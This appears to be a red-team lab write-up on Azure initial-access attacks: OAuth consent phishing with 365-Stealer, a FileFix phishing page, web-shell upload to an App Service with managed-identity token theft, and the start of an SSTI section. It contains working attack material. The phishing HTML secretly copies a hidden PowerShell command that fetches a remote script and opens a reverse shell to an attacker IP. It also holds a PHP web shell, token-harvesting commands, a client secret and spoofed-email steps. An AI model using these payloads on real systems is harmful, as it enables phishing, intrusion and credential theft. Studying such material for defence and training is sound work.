Phase 3: Initial Access Attacks
  • Initial Access - Illicit Consent Grant - (OAuth Abuse)

    The Illicit Consent Grant attack, often referred to as consent phishing, is a sophisticated identity technique that represents a fundamental shift in how adversaries gain access to cloud environments. Unlike traditional credential theft where an attacker seeks to steal a password to become the user, this attack exploits the authorization model of the cloud itself to manipulate the user into granting permissions to a malicious application. The danger lies in the fact that the attack occurs entirely within the trusted boundaries of the Microsoft platform, leveraging legitimate features of the OAuth 2.0 protocol rather than exploiting a software vulnerability.

    At its core, this attack relies on the architectural distinction between authentication and authorization that we discussed in previous sections. Authentication is the process of proving who you are, which is where Multi-Factor Authentication plays its role. Authorization, however, is the process of deciding what an authenticated user or application is allowed to do. In an illicit consent attack, the user successfully completes the authentication step, fully satisfying MFA requirements on the legitimate Microsoft sign-in page. The vulnerability is introduced in the subsequent authorization step, where the user is presented with a prompt asking if a specific third-party application is allowed to access their data. By approving this request, the user unwittingly issues a valid access token to the attacker, bypassing the protections that MFA usually provides against credential theft.

    The mechanics of the attack begin with the attacker configuring a multi-tenant application in their own controlled Entra ID tenant. This application functions as the trap, designed to look like a benign business tool or a system update. The attacker creates a special link to this application and delivers it to the victim, often via email. When the victim clicks the link, they are taken to the real Microsoft Entra ID login portal. Because the website is genuine, it bears all the hallmarks of a secure session, including valid SSL certificates and familiar branding, which disarms the user's suspicion. Once the user signs in, Microsoft’s identity platform generates a consent prompt listing the permissions the attacker requested, such as the ability to read the user’s email, access files, or view the directory.

    If the user accepts the prompt, the impact is immediate and often persistent. Behind the scenes, a Service Principal for the attacker's malicious application is automatically instantiated within the victim's tenant. This object effectively grants the attacker a continuous line of access into the organization's data without requiring the user’s password. The Microsoft identity platform issues an authorization code which is sent to a server controlled by the attacker, who then exchanges it for an Access Token and a Refresh Token. The possession of these tokens allows the attacker to operate as the user for the duration of the token's life, and to refresh that access for months, even if the user subsequently changes their password.

    The strategy evolves in two distinct phases to maximize damage while minimizing detection. Initially, the attack uses an application requesting low-impact permissions to fly under the radar. This allows the attacker to perform reconnaissance and enumerate the directory, downloading lists of users to identify high-value targets without triggering high-severity alerts. Once a privileged target like an Application Administrator is identified, the attacker modifies the malicious application to request highly sensitive permissions, such as the ability to read and write all files. By successfully phising this administrator, the attacker gains the ability to manipulate the cloud environment or inject malicious files into shared storage, thereby creating a bridge from the theoretical cloud identity plane directly to the victim’s physical workstation.

    Let’s start by logging in into portal.azure.com to enable MFA, it is mandatory that our user contains MFA configured. A good advise that I can share here is that, its better use Microsoft Authenticator app for this configuration.

    Register an application

    Now that we have logged in and enabled MFA, we can now start registering the new application from Entra ID → Application Registrations → New Application .
    Now we can give it any name, for labbing purpose I’ll simply give student59 as the application name and Accounts in any organizational directory (Any Entra IDdirectory - Multitenant) then hit the Register button.

    Once registered, we must now add a Redirection URL, in this case, this will be redirecting to a server that we as an attacker have control of. In our case we will be using the IP 172.16.150.59 because I’m using my windows as an attacking host.

    We need to make sure that we are using our right attacking IP.

    Now we need to create a New Client Secret and for this we need to go under Certificates & Secrets → New Client Secret. In fact it is a simple step.
    Note: Client secret values cannot be viewed, except for immediately after creation. Be sure to save the secret when created before leaving the page.

    Last but not least, we need to change the Microsoft Graph permissions by giving it User.Read & User.ReadBasic.All API Permission. To achieve this task we need to go to the API PermissionsAdd a PermissionDelegated Permissions and we add the permissions.

    These two permissions are carefully selected to balance the need for gathering intelligence with the necessity of evading security restrictions. In the Microsoft identity architecture, permissions are classified by their risk level, and the combination of User.Read and User.ReadBasic.All represents a tactical choice to request the absolute minimum privileges required to perform the reconnaissance phase of the attack without triggering an Administrator Consent prompt.

    User.Read is the most fundamental permission in the Microsoft ecosystem. Its primary function is to allow the application to read the full profile of the user who is signing in. From an attacker's perspective, this permission is essential for verification, it establishes the identity of the victim who fell for the phishing link and grants the application the basic "sign-in" capability required to generate a functional access token.

    User.ReadBasic.All is the strategic engine of this attack's first phase. Unlike the full User.Read.All permission, which often requires an administrator to approve the request, User.ReadBasic.All is a constrained scope that allows the application to read the basic profile information, names and email addresses of other users in the directory.
    By requesting this specific permission, you exploit a common configuration gap where regular users are permitted to consent to apps that read directory data. This grants you the ability to download the organization's Global Address List (GAL) using the standard user's token, enabling you to enumerate the staff and pinpoint the username of your high-value target, the Application Administrator, without triggering the alarms associated with higher-privilege requests.

    Now if we go to Overview, we will be able to check the new registered Application Client ID.

    Setting Up 365-Stealer

    We use the 365-Stealer tool in this lab because it automates the complex technical backend required to execute the Illicit Consent Grant attack, effectively acting as both the "trap" receiver and the exploitation console. We can download 365-Stealer from here.

    In the breakdown of the attack we discussed, there is a critical moment called "Token Acquisition." When the victim clicks "Accept" on the Microsoft consent prompt, Microsoft sends a piece of data called an "Authorization Code" to a specific URL (the Redirect URI) defined by the attacker. If nothing is listening at that URL to catch that code and instantly trade it for an Access Token, the attack fails. 365-Stealer functions as that listener. It runs a lightweight web server on your machine that intercepts the incoming traffic from Microsoft the moment the user grants consent.

    Beyond just catching the token, 365-Stealer manages the "lifecycle" of the stolen identity. In a real-world manual attack, you would have to manually craft complicated web requests (HTTP GET/POST) to the Microsoft Graph API every time you wanted to read an email or list users. This is slow and error-prone. 365-Stealer abstracts this difficulty away. Once it successfully captures a token, it provides you with an easy-to-use command interface to "weaponize" that access immediately. The tool has built-in functions to automatically enumerate users and facilitates the interaction with the admin’s OneDrive to modify files, streamlining the process so you can focus on the attack methodology rather than the underlying programming protocols.

    Let’s start by running the Xampp control panel as administrator and start Apache and MySQL server. We also need to make sure that the '365-Stealer' directory is inside C:\xampp\htdocs.

    Now, let’s access 365-Stealer webpage using the following URL https://172.16.150.59:8443/365-stealer/yourVictims and login using the default credentials and once you have logged in for the first time, you will be requested to change this default credentials.
    Username: admin
    Password: Pass@123

    Now that we have changed the default credentials and logged in again, we can now do some basic configs. We will be adding some basic information from our target, like CLIENTID, REDIRECTURL and CLIENTSECRET so that it matches the application that we have registered during the Application Registration Phase.

    Client ID: fbb6cfbd-95bf-486d-82f8-bc5bb6629e94

    Client Secret: G7y8Q~FjLExjLU55oEZ~xTAX.AO21K1Mc9UVGdBL

    Redirect URL: https://172.16.150.59/login/authorized

    We can now run the tool by clicking on the green Run 365-Stealer button, keep port 443 which is the default port and also ensure that HTTPS is enabled, because we are using port 443, of course and hit Run button.

    Setting Up 365-stealer config using CLI

    We could also achive the same goal by setting up 365-Stealer via CLI with the following steps.

    C:\xampp\htdocs\365-Stealer>python 365-Stealer.py --set-config
    [snip]
    Welcome to 365-Stealer Configuration.
    Client ID ==> fbb6cfbd-95bf-486d-82f8-bc5bb6629e94
    Client Secret ==> G7y8Q~FjLExjLU55oEZ~xTAX.AO21K1Mc9UVGdBL
    Redirect Url ==> https://172.16.150.59/login/authorized
    Redirect Url After Stealing ==>
    Macros File Path ==>
    OneDrive Extensions ==>
    Delay ==> 1
    [+] 365-Sealer Configuration set successfully!

    Then we Run the 365-Stealer.py script.

    python 365-Stealer.py --run-app

    Getting the Phishing Link

    Now that we have all setup, let’s open our browser in Incognito mode and try to access out locahost on port 443, in this case https://locahost, and click on Read More button that we have on our Phishing Microsoft Page.

    Once we have clicked on that Read More button, we will be redirected to a malicious Microsoft Login Page. We need to copy that link and send it to our victim.

    https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=fbb6cfbd-95bf-486d-82f8-bc5bb6629e94&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default+openid+offline_access+&redirect_uri=https%3A%2F%2F172.16.150.59%2Flogin%2Fauthorized&response_mode=query

    Sending the Phishing Link

    We have arrived at the phase that we need to spread our malicious (phishy) link to our targets.

    We are performing this reconnaissance step because we need a reliable delivery vector that allows us to bypass email filters and interact directly with a human who expects external communication.
    There are several tools to achieve this goal, This time we will use MicroBuster.
    MicroBuster can be used as a specialized delivery agent to handle the active components of the attack that the listener cannot perform on its own. While 365-Stealer functions as the passive web server designed to catch and hold the stolen token it does not have the built-in capability to interact with mail servers or format the delivery mechanism.

    We rely on MicroBuster to act as the PowerShell operational toolkit that bridges this gap. It allows us to automate the construction of the email and most importantly it lets us hide the extremely long and suspicious OAuth link behind a professional HTML template with a button like Review Document. If we sent the raw link generated by 365-Stealer directly to the victim it would reveal the complex URL parameters and likely deter them from clicking. By using MicroBuster we essentially package our malicious link inside a legitimate-looking wrapper and automate the sending process to ensure the attack reaches the target's inbox with the correct formatting.

    MicroBuster contains a wordlist named permutations.txt, inside C:\AzAD\Tools\MicroBurst\Misc\ dir and as the name says itself, this wordlist is used for permutation, let’s add it and and few more words like career, hr, users, files, backup, etc.
    Once we have added those words into our permutation wordlist, let’s import the Invoke-EnumerateAzureSubDomains.ps1 module and run it using our target domain, in this case defcorphq.
    We run Invoke-EnumerateAzureSubDomains not to find a domain to send email from but to identify a public-facing web asset belonging to the target organization that we can abuse to deliver our message.

    Import-Module .\Invoke-EnumerateAzureSubDomains.ps1

    Invoke-EnumerateAzureSubDomains -Base 'defcorphq' -Verbose

    The discovery of the careers website at defcorphqcareer.azurewebsites.net provides us with the perfect entry point for our phishing campaign. Checking the Help button, we can see that we do have a Contact Us in case we have an issue or we do need any sort of help. We use this site because it guarantees our message lands in the inbox of a recruitment or HR employee who is trained to open links and attachments from outsiders. Instead of guessing email addresses or risking our phish being caught by a spam filter we essentially abuse their own infrastructure to deliver the trap directly to them.

    We will pretend to that we do need help and paste our illicit consent link into the Reference Link body so when the internal employee clicks it to view our supposed resume they inadvertently trigger the authorization flow we set up with 365-Stealer.

    Now we just need to sit and wait for someone to click on our malicious link.

    As you are able to see on the screenshot below, it is possible to see that just by waiting a little bit, we were able to get something, WE GOT A FISH ON OUR FISH HOOK.
    We have something from user Erik Mkeller.

    If we get back to out browser on 365-Stealer webpage, we will be able to see that now we do have a folder with the user and inside it we do have 3 files, which one of them contains the user’s token named access_token.txt

    We can now use the List Users button and check all the users we have. the same can also be achieved by getting the JWT and using on a script using Powershell as well.

    If you remember during our API Permissions during the configuration of the application registration, we gave only 2 permissions which were User.Read and User.ReadBasic.All .
    These type of permissions is a constrained scope that allows the application to read the basic profile information, names and email addresses of other users in the directory.

    Getting admin consent

    We engage the Get Admin Consent phase because we have hit the ceiling of what we can achieve with a standard user like Erik Mkeller. Before this phase we effectively possess the digital rights of a regular employee where we can look up names in the directory and verify identities but we are strictly blocked from touching any sensitive data. We cannot read the contents of confidential emails or modify files on the company Sharepoint because the permissions attached to Erik's token are low-impact and read-only.

    The transition to Get Admin Consent involves us weaponizing our application by modifying it to ask for restricted high-privilege scopes. We purposefully add permissions like Mail.Read and Files.ReadWrite which are so dangerous that Microsoft blocks standard users from consenting to them.
    We identify and target the Application Administrator because they are among the few people in the organization who can bypass this block and authorize our app to hold these powers.
    After we successfully phish this administrator the status of our malicious Service Principal changes instantly from a passive observer to a privileged operator that allows us to browse sensitive documents or upload malicious files to compromise the environment.

    To achieve this task we need to go to the API PermissionsAdd a PermissionDelegated Permissions and we add the permissions.
    Let’s start by changing the permissions of our malicious application again and add the following permissions in screenshot below.

    We are switching our application's configuration from a passive "Reconnaissance" mode to an active "Attack" mode by requesting these specific Delegated permissions. In the first phase, we only wanted to read the directory. Now, in the Get Admin Consent phase, our goal is to hijack the Administrator's identity to steal data, establish persistence, and potentially compromise their physical workstation.

    We select these specific Delegated permissions because they allow our malicious application to act as the Administrator immediately after they click "Accept," using their existing high-level privileges:

    1. Files.ReadWrite.All: This is the most critical permission for the lab's objective of compromising the workstation. It allows us to access the Administrator's OneDrive and SharePoint. We use this to upload a malicious file (malware) to their personal folder, which will likely sync down to their local computer, or to hunt for sensitive configuration files containing passwords or keys.
    1. Mail.Send: This permission allows us to send emails as the Administrator. This is extremely dangerous because an email coming from an "Admin" is inherently trusted. We can use this to launch Spear Phishing attacks against other employees (e.g., "Please reset your password here") to expand our foothold in the company.
    1. Mail.Read: We use this to spy on the Administrator's communications. Attackers often search the inbox for keywords like "Password," "Login," "VPN," or "Reset" to find clear-text credentials for other systems.
    1. MailboxSettings.ReadWrite: This is a persistence mechanism. It allows us to create legitimate-looking "Inbox Rules" in the Admin's Outlook. For example, we can create a hidden rule that automatically forwards a copy of every incoming email containing the word "Sensitivity" or "Password" to an external address we control, allowing us to maintain access even if the token is revoked later.
    1. Notes.Read.All: IT Administrators frequently use OneNote to store quick notes, IP addresses, and sometimes snippets of code or credentials. We request this scope to scour their notebooks for these easy secrets.

    We are specifically using Delegated permissions here because we are relying on the Administrator to interactively log in. By consenting to these delegated scopes, the Admin effectively hands us the keys to perform all these actions under their own identity, bypassing the need for us to hack their actual password.

    Let’s now once again generate a new link browsing to https://localhost by using the incognito mode and click on the Read More to get the new link.

    Once that we do have the new phishy link, we can do a Spear Phishing, which is the culmination of our previous preparation work where we defined the dangerous permissions and set up the listener. We utilized the emkei.cz service because it functions as an open anonymous SMTP relay that allows us to freely spoof the Sender address without requiring authentication.

    In our specific execution we tactically impersonated our own trusted internal identity which is Student59@defcorphq.onmicrosoft.com while sending the email from outside the organization's perimeter. This is a powerful social engineering technique because the victim Mark Walden sees the email coming from a known "Student" address and is significantly more likely to trust the content. The raw link we pasted into the "Text" field is the same trap we discussed earlier but this time it carries the request for the administrative privileges we configured in the portal.

    The screenshot below confirms that the attack was an immediate success and validated the Illicit Consent Grant vector. As soon as the user Mark Walden received our spoofed email and clicked that link he unwittingly authorized our malicious application to act on his behalf.

    The 365-Stealer console shows exactly why this is so dangerous because without you typing a single password the tool automatically leveraged the Files.ReadWrite.All permission to enumerate Mark's personal OneDrive and downloaded all his files to your local C:\\xampp folder. This proves we have successfully bridged the gap from the cloud identity plane to actual data exfiltration.

    We effectively possess a master key to the digital life of a high-level administrator now that we have Mark Walden's token. We can immediately use his high-level permissions to read and download every single file from his OneDrive and any SharePoint sites he accesses which allows us to steal confidential trade secrets or search for sensitive documents containing passwords. We also have the total power to take over his email communications where we can secretly spy on his inbox for login details or impersonate him to send convincing phishing emails to his colleagues who will inherently trust the sender. We established in the previous step that we can easily pivot to his physical device by dropping a malicious file into his OneDrive that automatically syncs to his laptop and gives us a command shell. Finally we can use his mailbox settings to create hidden rules that forward copies of his emails to our external address which allows us to maintain our access to his information even if he realizes something is wrong and changes his password.

    Getting reverse shell

    We enter the Get reverse shell to finish the job and move our control from the cloud to the actual computer of the administrator. We are effectively using the file permission we just stole to trick the OneDrive app on the victim's laptop into doing the hard work for us.

    We start by taking a malicious Word document that has a hidden script inside it and we upload it directly to the victim's OneDrive storage using our access tokens. Since the administrator has the OneDrive app installed on their laptop to keep their files updated it will automatically see this new file and download it to their hard drive without checking if it is safe. This is a very smart way to get a dangerous file onto a computer because the company firewalls think it is just normal traffic coming from Microsoft.

    The attack ends when the administrator sees this new document on their computer and tries to open it. As soon as they double click the file the hidden script inside runs and forces their computer to call back to our attacker machine. This connection gives us a black screen command window that controls their computer and allows us to type commands on their internal network as if we were sitting right in front of their keyboard.

    Let’s start by accessing 365-Stealer dashboard once again and copy Mark's access token. This is only possible because we do have Mark’s token and we can use this token to upload weaponized Word file on Mark's drive. You can create your own malicious Word(.doc) file, then we upload it into our target’s OneDrive and wait for our target to open our malicious file and we can get Remote access to our target’s machine.

    Inside Mark’s folder in 356-Stealer, we can simply click on the Upload File button and upload our malicious .doc file and wait for our target to click on it.

    We can also achieve the same upload that using CLI with the following command:
    python C:\xampp\htdocs\365-Stealer\365-Stealer.py --refresh-user 'MarkDWalden@defcorphq.onmicrosoft.com' --upload 'C:\xampp\htdocs\student59.doc'

    once we have upload our malicious file, we just need to run our listener and wait for it. As we can see above, we have Remote Access to our target’s host.

    Sending Emails as Mark

    I’ll be showing this simply as an extra step that does not need to be followed.
    Since we do have Mark’s token, we can also send emails as Mark, 365-Stealer also has an option that allows us to send emails.
    There’s a nice online service that allows us to create or use fake mail accounts for a few hours. This service can be used to receive emails, normally I use it when I’m testing something related to email.

    once we have access to the mail account, we can go to 365-Stealer, compose our email and send it.

    Once we check our mail box on https://tuamaeaquelaursa.com/ we will see that we received the email from Mark.

    FileFix Remote Code Execution

    FileFix is a social-engineering technique, named after 'ClickFix' that tricks users into copying and pasting malicious commands, typically into the File Explorer address bar, which then executes unintended actions. The technique is simple but effective. It requires no exploits, no admin rights, and no external tools. It only relies on user trust and default Windows behavior.
    Source: https://mrd0x.com/filefix-clickfix-alternative/

    The goal of the FileFix attack is to get the victim to unknowingly execute a malicious command that looks like a regular file path. Here’s the high-level idea:

    1. The attacker sets up a phishing page that looks like an internal company file portal.
    1. The page tells the victim to copy a file path and paste it into File Explorer’s address bar to access a shared document.
    1. What actually gets copied to the clipboard is a disguised PowerShell command with a fake file path after a comment.
    1. When the user pastes and presses Enter in the address bar, PowerShell runs in the background.

    Let’s walk through the full setup.

    First, we will establish a simple HTTPS server to host our malicious webpage index.html file using xampp server or we can also use any other way of hosting the file at your choice. There is a webpage already available for the FileFix attack.

    • index.html code
      <!DOCTYPE html>
      <head>
        <title>defcorphq shared a file with you</title>
        <style>
          body {
            background-color: #f2f2f2;
            font-family: 'Segoe UI', sans-serif;
            margin: 0;
            padding: 40px 0;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            min-height: 100vh;
          }
      
          .container {
            background-color: #ffffff;
            width: 750px;
            border-radius: 6px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            border: 1px solid #dcdcdc;
            text-align: center;
          }
      
          .header {
            padding: 40px 30px 10px;
          }
      
          .header img {
            width: 36px;
            margin-bottom: 25px;
          }
      
          .header h2 {
            font-size: 20px;
            color: #2f2f2f;
            margin: 0;
          }
      
          .timestamp {
            font-size: 13px;
            color: #7a7a7a;
            margin-top: 6px;
          }
      
          .instructions {
            text-align: left;
            padding: 25px 40px 10px;
            font-size: 15px;
            color: #333333;
            line-height: 1.6;
          }
      
          .instructions ol {
            margin: 0;
            padding-left: 20px;
          }
      
          .code-block {
          background-color: #f1f1f1;
          border: 1px solid #ccc;
          border-radius: 4px;
          padding: 8px 12px;
          font-family: Consolas, monospace;
          font-size: 14px;
          margin-top: 8px;
          position: relative;
          transition: background-color 0.3s;
          cursor: pointer;
          user-select: none;
          }
      
      
          .code-block:hover {
            background-color: #e6e6e6;
          }
      
          .code-block::after {
            content: "Copy";
            position: absolute;
            top: 50%;
            right: 12px;
            transform: translateY(-50%);
            font-size: 12px;
            color: #0078d4;
            opacity: 0;
            transition: opacity 0.2s;
          }
      
          .code-block:hover::after {
            opacity: 1;
          }
      
          .code-block.clicked::after {
            content: "Copied";
            color: #107c10;
          }
      
          #fileExplorer {
            background-color: #0078d4;
            color: white;
            border: none;
            padding: 12px 30px;
            font-size: 15px;
            border-radius: 4px;
            margin: 30px 0 40px;
            cursor: pointer;
          }
      
          #fileExplorer:hover {
            background-color: #005ea2;
          }
      
          .footer {
            font-size: 11.5px;
            color: #6b6b6b;
            background-color: #f7f7f7;
            padding: 12px 24px;
            border-top: 1px solid #dcdcdc;
            display: flex;
            justify-content: space-between;
            align-items: center;
          }
      
          .footer img {
            height: 16px;
          }
      
          .footer a {
            color: #6b6b6b;
            text-decoration: none;
          }
      
          .footer a:hover {
            text-decoration: underline;
          }
        </style>
      </head>
      <body>
      
        <div class="container">
          <div class="header">
            <svg fill="#000000" width="50px" height="50px" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg">
            <path d="M0 25.472q0 2.368 1.664 4.032t4.032 1.664h18.944q2.336 0 4-1.664t1.664-4.032v-8.192l-3.776 3.168v5.024q0 0.8-0.544 1.344t-1.344 0.576h-18.944q-0.8 0-1.344-0.576t-0.544-1.344v-18.944q0-0.768 0.544-1.344t1.344-0.544h9.472v-3.776h-9.472q-2.368 0-4.032 1.664t-1.664 4v18.944zM5.696 19.808q0 2.752 1.088 5.28 0.512-2.944 2.24-5.344t4.288-3.872 5.632-1.664v5.6l11.36-9.472-11.36-9.472v5.664q-2.688 0-5.152 1.056t-4.224 2.848-2.848 4.224-1.024 5.152zM32 22.080v0 0 0z"></path>
            </svg>
            <h2>Defense Corporation made "SecurityAudit_Report.docx" available to you</h2>
            <div class="timestamp">09/13/2025 12:15:20 PM</div>
          </div>
      
          <div class="instructions">
            <p>To access <strong>SecurityAudit_Report.docx</strong>, follow these steps:</p>
            <ol>
              <li style="margin-bottom: 10px;">
                Copy the file path below
                <div class="code-block" id="path" onclick="this.classList.add('clicked')">
                  C:\Defense Corporation\internal-secure\filedrive\SecurityAudit_Report.docx
                </div>
              </li>
              <li style="margin-bottom: 10px;">Open File Explorer and select the address bar (<strong>CTRL + L</strong>)</li>
              <li style="margin-bottom: 10px;">Paste the file path and press <strong>Enter</strong></li>
            </ol>
          </div>
      
          <input type="file" id="fileInput" style="display: none;">
          <button id="fileExplorer">Open File Explorer</button>
      
          <div class="footer">
            <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft">
          </div>
        </div>
          <script>
          const fileInput = document.getElementById('fileInput');
          const fileExplorer = document.getElementById('fileExplorer');
          const path = document.getElementById('path');
      
          path.addEventListener('click', function () {
            navigator.clipboard.writeText(`powershell.exe -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString('http://172.16.1.59:82/Invoke-PowerShellTcp.ps1'); Power -Reverse -IPAddress 172.16.1.59 -Port 4444"                                                                                                         # C:\\Defense Corporation\\internal-secure\\filedrive\\SecurityAudit_Report.docx`);
      });
      
          // Copy powershell command & open file explorer
          fileExplorer.addEventListener('click', function() {
              navigator.clipboard.writeText(`powershell.exe -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString('http://172.16.1.59:82/Invoke-PowerShellTcp.ps1'); Power -Reverse -IPAddress 172.16.1.59 -Port 4444"                                                                                                                # C:\\Defense Corporation\\internal-secure\\filedrive\\SecurityAudit_Report.docx`);
      
            fileInput.click();
          });
      
        // Block any attempted file uploads
        fileInput.addEventListener('change', () => {
          alert("Please follow the stated instructions.");
          fileInput.value = "";
          setTimeout(() => fileInput.click(), 500);
      });
        </script>
      </body>
      </html>

    From the victim’s point of view, they’re just pasting a file path. But because PowerShell commands can run from the File Explorer address bar, the real command gets executed.

    Let’s now navigate to this index.html file via browser https://172.16.150.59:8443/index.html

    The webpage displays a file sharing system from "Defense Corporation" which looks like a real document download page. It shows simple instructions to copy a file path and paste it into File Explorer address bar, but when a user clicks on the displayed path, it secretly copies our PowerShell code instead of the actual file location. In the lab, Mark's user simulation will copy the PowerShell code.

    Now we should start our listener on the port we added on our malicious index.html page and also double check that you have the reverse shell Invoke-PowerShellTCP.ps1.
    Let’s send our malicious link to Mark again via email. We will be using https://emkei.cz/ the mail spoofing online service again, why not?

    Now we just need to wait for the target to follow the process and we get reverse shell.

  • Initial Access - App Service Abuse - Insecure FileUpload

    Azure App Service is a Platform-as-a-Service (PaaS) offering, which means Microsoft manages the physical server and the operating system patches while the customer only manages the application code and its configuration. In this lab the defcorphqcareer site is hosted on this platform.

    The security of this service relies entirely on the quality of the deployed code. Even though Microsoft protects the underlying infrastructure they cannot stop us from exploiting logic flaws in the application itself. If the developer created a feature to upload resumes but failed to validate the file type properly, we can upload an executable script instead of a document.
    In this lab we specifically leverage this oversight to upload a malicious .phtml web shell which effectively turns their web server into our command console.

    The Identity Vector: Managed Identities (MSI)

    The most critical architectural concept in this lab is the Managed Identity. In a traditional on-premises breach gaining access to a web server usually requires us to scrape config files looking for hardcoded database passwords. In Azure modern applications are designed to use Identity instead of passwords. The defcorphqcareer application is assigned a unique digital identity by Azure (a System-Assigned Managed Identity) that allows it to authenticate to other cloud resources without ever handling a credential file.

    This security feature becomes our attack vector the moment we gain code execution. The Azure platform injects special Environment Variables into the application container called IDENTITY_ENDPOINT and IDENTITY_HEADER. These are secret values only available to processes running inside that specific App Service. We use our web shell to read these variables and talk to the internal Azure Instance Metadata Service (IMDS). By sending a request to the local IDENTITY_ENDPOINT with the IDENTITY_HEADER secret we force Azure to generate a valid Access Token for the application's identity and hand it to us.

    Step-by-Step Attack Execution

    Exploiting the Web Application
    We begin by identifying the functionality in the Career Portal that allows job applicants to upload files. We bypass the frontend checks and upload a specifically crafted file with a .phtml extension which contains a PHP script designed to accept system commands.

    #studentxshell.phtml
    <?php 
    system($_REQUEST['cmd']);
    ?>

    When we navigate to the URL of our uploaded file the Azure App Service executes our PHP code thinking it is a legitimate part of the website application.
    This grants us Remote Code Execution (RCE) on the low-privilege worker process running the site. After uploading the web shell, access it and pass the 'env' command to check if a managed identity is assigned to the app service.

    Look for environment variables IDENTITY_HEADER and IDENTITY_ENDPOINT

    Harvesting the Cloud Token
    We then use this command execution to pivot from the operating system to the identity layer. We execute commands to print the environment variables of the running process. We locate the IDENTITY_ENDPOINT URL and the IDENTITY_HEADER value and use a tool like cURL to send a request to that endpoint. The response is a JSON Web Token (JWT) representing the Managed Identity of the web app.

    If not using cURL we can also upload the following .phtml file containing the following PHP on the vulnerable file upload and access the file we just uploaded.

    <?php 
    system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
    ?>

    Privilege Escalation and Lateral Movement
    We can use the access token and client ID from above with Az PowerShell. But Az PowerShell's Get- AzRoleAssignment would not show us the permissions for the current token. It would show role
    assignments only to ObjectIDs (no way to get the ObjectID of the Manged Identity token that we have).

    $token = 'eyJ0e…'

    Connect-AzAccount -AccessToken $token -AccountID '064aaf57-30af-41f0-840a-0e21ed149946’

    Get-AzRoleAssignment

    We are seeing those empty "Unknown" fields in the screenshot because the access token we stole is strictly keyed for managing infrastructure, not for reading the directory phonebook. The PowerShell command attempts to be helpful by cross-referencing the raw ID codes with Microsoft Graph to find human-readable names, but since our current token lacks permission to talk to Graph, that lookup fails silently. The strategy to fall back to manual API calls is a practical workaround because the underlying Azure system does not actually need friendly names to function.
    We can bypass the helpful but broken PowerShell features and speak directly to the Azure servers using the raw ID codes and our existing token to execute commands on the bkpadconnect VM without ever needing to resolve the specific identity name.

    Discovering the Environment Scope (Get Subscription ID)
    The first block of code allows us to situate ourselves within the Azure cloud. Although we have a valid access token ($Token), we do not initially know which Subscription it belongs to, and almost every API command in Azure requires a specific Subscription ID to function. We send a GET request to the global /subscriptions endpoint to ask Azure which subscriptions our current Identity is allowed to see. The response provides us with the unique GUID (in this case, starting with b413826f...) that effectively acts as the root directory for all our subsequent attacks.

    $Token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI...'
    $URI = 'https://management.azure.com/subscriptions?api-version=2025-04-01'
    $RequestParams = @{
    Method = 'GET'
    Uri= $URI
    Headers = @{'Authorization' = "Bearer $Token"}
    }
    (Invoke-RestMethod @RequestParams).value

    Mapping the Attack Surface (List Resources)
    In the second step, we use the Subscription ID we just found to perform a broad scan of the environment. By sending a request to the /resources endpoint, we are asking the Azure Resource Manager to list every single object, virtual machines, storage accounts, databases, or vaults that our compromised App Service Identity is capable of viewing. This is the cloud equivalent of running a network scan (like Nmap) to see what hosts are alive. The result of this specific query is critical because it reveals the existence of a Virtual Machine named bkpadconnect within the Engineering resource group, giving us a concrete target to focus on. you may notice that the only thing changing here is the URI.

    $Token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI...'
    $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2025-04-01'
    $RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{ 'Authorization' = "Bearer $Token"}
    }
    (Invoke-RestMethod @RequestParams).value

    Verifying Exploitability (Check Permissions)
    The final step is where we determine if we can actually harm the target we found. Simply "seeing" the bkpadconnect VM in a list does not guarantee we can control it, we might only have "Reader" access. This script sends a query to the specialized /permissions endpoint on the specific VM resource. We are effectively asking the Azure authorization engine, "What specific actions is this token allowed to perform on this specific VM?" The output of this command is the "gold" we are looking for…

    $Token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI...'
    $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2022-04-01'
    $RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{'Authorization' = "Bearer $Token"}
    }
    (Invoke-RestMethod @RequestParams).value

    It confirms that our identity possesses Microsoft.Compute/virtualMachines/runCommand/action privileges, proving we have the permission to bypass standard SSH/RDP authentication and execute commands directly on the server as an administrator.
    in summary: The Managed Identity assigned to the defcorphqcareer app has runCommand (command execution) privileges on a VM called bkpadconnect.

  • Initial Access - App Service Abuse - Server Side Template Injection (SSTI) Abuse

    Server-Side Template Injection (SSTI)

    We begin this scenario by identifying a critical application-layer flaw on the vaultfrontend App Service.
    SSTI occurs when a web application carelessly concatenates user input directly into a template file (like Jinja2 for Python or Razor for .NET) instead of treating it as plain text. This mistake causes the server's template engine to render the attacker's input as executable code. In the context of the cloud, this is effectively a "golden key" vulnerability because it allows us to bypass the application interface entirely and execute operating system commands directly on the backend container that hosts the web server.

    Assuming that during our enumeration we found the webpage below.

    By clicking on the purchaseLink button we are able to find out that it leads us to a purchase page were we simply add our email and we get a notification saying that purchase link has been sent to our email.

    As you can see on the screenshot above, our email reflects on the message in the page. Now here is how SSTI Abuse comes handy.
    Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages.
    Now, What if we try some basic STTI enumeration to our email template field?


    Inject Template Syntax

    We test and identify input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java).

    Common template expressions:

    • {{7*7}} for Jinja2 (Python).
